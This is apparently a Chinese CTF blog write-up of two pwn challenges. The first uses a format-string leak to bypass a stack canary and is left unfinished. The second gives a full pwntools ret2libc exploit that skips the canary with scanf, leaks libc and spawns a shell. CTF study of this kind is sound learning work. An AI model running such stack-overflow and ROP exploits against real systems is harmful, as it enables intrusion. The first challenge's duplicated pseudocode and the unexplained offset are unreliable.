menu
ciaoℒy
PWN(格式化字符串+canary绕过)两则

access_time
brush 404个字
whatshot 192 ℃
百度收录:百度已收录

t1(格式化字符串泄露canary)

附件下载

拖到Ghidra里, 伪代码如下:

//...
//main()
local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts("Give me your name:");
  my_gets(local_18,8);
  printf(local_18);
  puts("your content:");
  read(0,local_18,0x400);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }

//my_gets()
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts("Give me your name:");
  my_gets(local_18,8);
  printf(local_18);
  puts("your content:");
  read(0,local_18,0x400);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
//....

有一个printf, 还有一个自定义的my_gets. 可以先利用"格式化字符串"漏洞打印出来canary的值, 再利用下面那个gets()实现栈溢出,溢出时不要忘了在canary的地方放上canary的值即可.

此外, 还得利用设法打印出puts的got地址, 再计算出system的got地址.

先要泄露canary地址,gdb.attach(p)在栈上找下偏移。这里还有一个不同,x64相对于x32多了几个寄存器,rdi,rsi,sdx,rcx,r8,r9,rdi是格式化字符串,%1就是rsi,%2就是rdx,栈顶的数据就是%6$

plt.puts 是%7$x

.....

To be continue

t2(scanf跳过覆写canary)

附件下载

拖到Ghidra里, 伪代码如下:

//....
  long in_FS_OFFSET;
  int local_6c;
  undefined local_68 [88]; //canary
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Hi");
  for (local_6c = 0; local_6c < 20; local_6c = local_6c + 1) {
    __isoc99_scanf("%lld",local_68 + (long)local_6c * 8);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { //canary
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
//....

canary, 但是scanf是按照8字节为单位, 一个个读取输入的, 因此可以设法略过对canary的覆盖: 先略过(0x60 - 0x10)/8 + 1 次scanf, 刚好跳过canary. 再略过一次scanf, 跳过ebp. 再即可覆写rip, 总共略过12次.*

经查询资料, 用"+"可以略过scanf.

exp.py如下:


#coding:utf8
from pwn import * 
from LibcSearcher import * 

#canary: rbp - 0x10
#buffer: rbp - 0x60

elf=ELF('./t2');
putgot=elf.got['puts'];
putaddr=elf.sym['puts'];
mainaddr=0x004005f6;
popedi=0x004006d3;
p=process('./t2');

amount = 20;
counter = 0;

for i in range(13):
    p.sendline("+");
    counter = counter + 1;

#这个payload用于泄露puts位于libc的地址
#popedi将puts的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖eip,这样我们又可以重新执行main函数了
payload = [ str(popedi), str(putgot), str(putaddr), str(mainaddr) ]
for v in payload:
    p.sendline(v);
    counter = counter+1;

while counter <= amount:
    p.sendline(str(0x0));
    counter = counter + 1;
counter = 0;

p.recvuntil('Hi\n');
#注意,这步很重要,必须要去掉末尾的\n符号
s=p.recv()
s=s.split(b'\n')[0];
#凑足长度8
#for i in range(len(s),8):s=s+'\x00';
#得到read的地址
addr = int.from_bytes(s, 'little');
print('0x%x'%addr);
#libc数据库查询
obj=LibcSearcher("puts",addr);
#得到libc加载地址
libc_base=addr-obj.dump('puts');
#获得system地址
system_addr=obj.dump("system")+libc_base;
#获得/bin/sh地址
binsh_addr=obj.dump("str_bin_sh")+libc_base;
binsh_addr = binsh_addr - 4; # 这里我也不知道为什么要-4, 不-4就是/sh, -4就是/bin/sh
print('0x%x'%system_addr);
print('0x%x'%binsh_addr);

#此时缓冲区里貌似是有东西? 所以scanf后自动执行一次
counter = counter + 1;
for i in range(12):
    p.sendline("+");
    counter = counter + 1;

#这个payload用于泄露puts位于libc的地址
#popedi将puts的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖rip,这样我们又可以重新执行main函数了
payload = [ str(popedi), str(binsh_addr), str(system_addr), str(mainaddr) ]
for v in payload:
    p.sendline(str(v));
    counter = counter+1;

while counter <= amount:
    p.sendline(str(0x0));
    counter = counter + 1;
p.interactive()

#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 09 月 02 日


create 添加新评论


account_circle
email
language
textsms





关于 DreamCat

主题名称:DreamCat | 版本:2.10.230801_LTS

主题开发:HanFengA7 | TeddyNight | Dev-Leo | CornWorld | WhiteBearcn | DFFZMXJ

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe

加我的QQ
加我的微博
加我的支付宝
加我的微信